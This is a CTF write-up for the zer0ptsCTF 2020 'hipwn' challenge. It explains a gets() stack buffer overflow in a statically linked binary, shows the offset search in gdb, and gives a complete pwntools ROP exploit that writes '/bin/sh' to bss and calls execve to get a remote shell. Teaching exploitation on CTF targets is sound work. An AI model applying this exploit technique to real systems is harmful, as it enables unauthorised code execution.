zer0ptsCTF - Hipwn Challenge

Writeup on how I managed to solve hipwn from zer0ptsCTF.

Analzying Source Code and Binary

So, we got 2 files in a gzip archive, one which is main.c which is the source code of the binary and chall which is the executable we need to pwn. Let’s check it out:-


int main(void) {
  char name[0x100];
  puts("What's your team name?");
  printf("Hi, %s. Welcome to zer0pts CTF 2020!\n", name);
  return 0;

Looks simple enough, of course we have gets which means we have a buffer overflow vulnerability which seems obvious. Other than that, nothing is really much of a concern.
Let’s run file and check the output:-

robin@oracle:~/CTFs$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped

Damn, it is statically linked which means that all the libc functions which are used in the binary i.e. puts, printf, gets etc. are embedded in the binary itself and it is stripped which means no debugging symbols. Let’s see the binary and run the checksec to see what protections it has:-

robin@oracle:~/CTFs$ checksec chall
[*] '/home/robin/CTFs/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

If it was dynamically linked binary we could have done something like leak any GOT address and then calculate the offsets to do something like system("/bin/sh"). But since it is statically linked it is pointless approach, we gotta use stuffs which are available in binary itself.

Reverse Engineering the Binary

Time to reverse enginneer the binary so that we could get the address of some useful functions. Let’s check out the main function:-

__int64 sub_400160()
  __int64 v1; // [rsp+0h] [rbp-108h]

  sub_40062F("What's your team name?");
  sub_400591((unsigned __int64)"Hi, %s. Welcome to zer0pts CTF 2020!\n");
  return 0LL;

There we go, from source code we know the following things:-

  • puts("What's your team name?") : sub_40062F("What's your team name?")
  • gets(name) : sub_4004EE(&v1)
  • printf("Hi, %s. Welcome to zer0pts CTF 2020!\n", name) :sub_400591((unsigned __int64)"Hi, %s. Welcome to zer0pts CTF 2020!\n")

So, now we know that 0x4004EE is the address of the gets and 0x40062F is the address of puts and 0x400591 is the address of the printf, let’s keep this thing in mind and time to pwn it.

Pwning Time

So, my initial step was to use any address from bss to store thw address of /bin/sh and after that make a exceve syscall to spawn a shell. I used pwntools to automate most of the parts like getting the bss address and incrementing it by 0x200 offsets so that the initial address wom’t be overwritten as bss loads IO related informations. Let’s get it done:-

Finding offsets

Finding the offset with gdb-gef‘s de-brujin based pattern search:-

gef➤  pattern create 300
[+] Generating a pattern of 300 bytes
[+] Saved as '$_gef1'
gef➤  r
Starting program: /home/robin/CTFs/chall 
What's your team name?
Hi, aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa. Welcome to zer0pts CTF 2020!

Program received signal SIGSEGV, Segmentation fault.
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x6261616161616168 ("haaaaaab"?)
$rcx   : 0x0               
$rdx   : 0xffffffff        
$rsp   : 0x00007fffffffddf8"iaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa"
$rbp   : 0x00007fffffffde380x00007fffffffe1e1"/home/robin/CTFs/chall"
$rsi   : 0x0000000000402efd  →   add BYTE PTR [rax], al
$rdi   : 0x0000000000604688"Hi, aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaa[...]"
$rip   : 0x000000000040019c  →   ret 
$r8    : 0x2000            
$r9    : 0x12c             
$r10   : 0x8080808080808080
$r11   : 0x202             
$r12   : 0x0000000000400160  →   push rbx
$r13   : 0x00007fffffffde480x00007fffffffe1f8"CLUTTER_IM_MODULE=xim"
$r14   : 0x0               
$r15   : 0x0               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffddf8+0x0000: "iaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa"$rsp
0x00007fffffffde00+0x0008: "jaaaaaabkaaaaaablaaaaaabmaaa"
0x00007fffffffde08+0x0010: "kaaaaaablaaaaaabmaaa"
0x00007fffffffde10+0x0018: "laaaaaabmaaa"
0x00007fffffffde18+0x0020: 0x000000006161616d ("maaa"?)
0x00007fffffffde20+0x0028: 0x0000000000000000
0x00007fffffffde28+0x0030: 0x00000000004001b3  →   lea rdx, [rdi+0x8]
0x00007fffffffde30+0x0038: 0x0000000000000001
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x400192                  add    rsp, 0x100
     0x400199                  xor    eax, eax
     0x40019b                  pop    rbx
 →   0x40019c                  ret    
[!] Cannot disassemble from $PC
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "chall", stopped 0x40019c in ?? (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x40019c → ret 
0x000000000040019c in ?? ()
gef➤  x/xg $rsp
0x7fffffffddf8:    0x6261616161616169
gef➤  pattern search 0x6261616161616169
[+] Searching '0x6261616161616169'
[+] Found at offset 264 (little-endian search) likely

Adding it to exploit:-

payload = "A"*264
Using gets to store /bin/sh adddress

This one does gets(writeable_addr) as in 64 bit binaries rdi has first arguments.

payload += p64(pop_rdi) 
payload += p64(writable_readable_addr)
payload += p64(0x4004EE) # We know the `gets` address from RE part
Doing a execve syscall

Since we have found offsets and chained the rop chain to store /bin/sh in bss address, time to do a execve syscall:-

payload += p64(pop_rax) # This one holds the number of which syscall has to done
payload += p64(0x3b) # This ensures `rax` contains `0x3b` which means it is doing an `execve`
payload += p64(pop_rdi) # Popping `rdi` address
payload += p64(writable_readable_addr) # writeable address which has `/bin/sh` is loaded to `rdi`
payload += p64(pop_rsi) # Popping `rsi` and `r15`
payload += p64(0) # Loading `0` to `rsi`
payload += p64(0) # Loading `0` to `r15` 
payload += p64(pop_rdx) # Popping rdx
payload += p64(0) # We will load to `0` to `rdx`
payload += p64(syscall) # Adding `syscall; ret;` at last to request syscall

We are doing execve("/bin/sh", 0, 0) to spawn a shell.

Final Exploit

Here is the final exploit:-

from pwn import *

pop_rdi = 0x000000000040141c # pop rdu; ret;
pop_rdx = 0x00000000004023f5 # pop rdx; ret;
pop_rsi = 0x000000000040141a # pop rsi; pop r15; ret;
pop_rax = 0x0000000000400121 # pop rax; ret;
syscall = 0x00000000004024dd # syscall; ret;

elf = ELF("./chall")
writable_readable_addr = elf.bss() + 0x200

payload = b"A"*264
payload += p64(pop_rdi) 
payload += p64(writable_readable_addr)
payload += p64(0x4004EE)
payload += p64(pop_rdi)
payload += p64(writable_readable_addr)
payload += p64(0x40062F)
payload += p64(pop_rax)
payload += p64(0x3b)
payload += p64(pop_rdi)
payload += p64(writable_readable_addr)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(syscall)

#p = process("./chall")
p = connect("", 9010)

p.sendlineafter("?\n", payload)
p.sendline(b"/bin/sh\x00") # Sending this to stdin which means the `writable_readable_addr` will have `/bin/sh`


Running the exploit:-

robin@oracle:~/CTFs$ python hipwn_xpl.py 
[*] '/home/robin/CTFs/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to on port 9010: Done
[*] Switching to interactive mode
$ ls
$ cat flag.txt

Yay, we got this. I hope you learned something. Encontered any issues? Contact @D4mianWayne

Author: D4mianwayne
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint polocy. If reproduced, please indicate source D4mianwayne !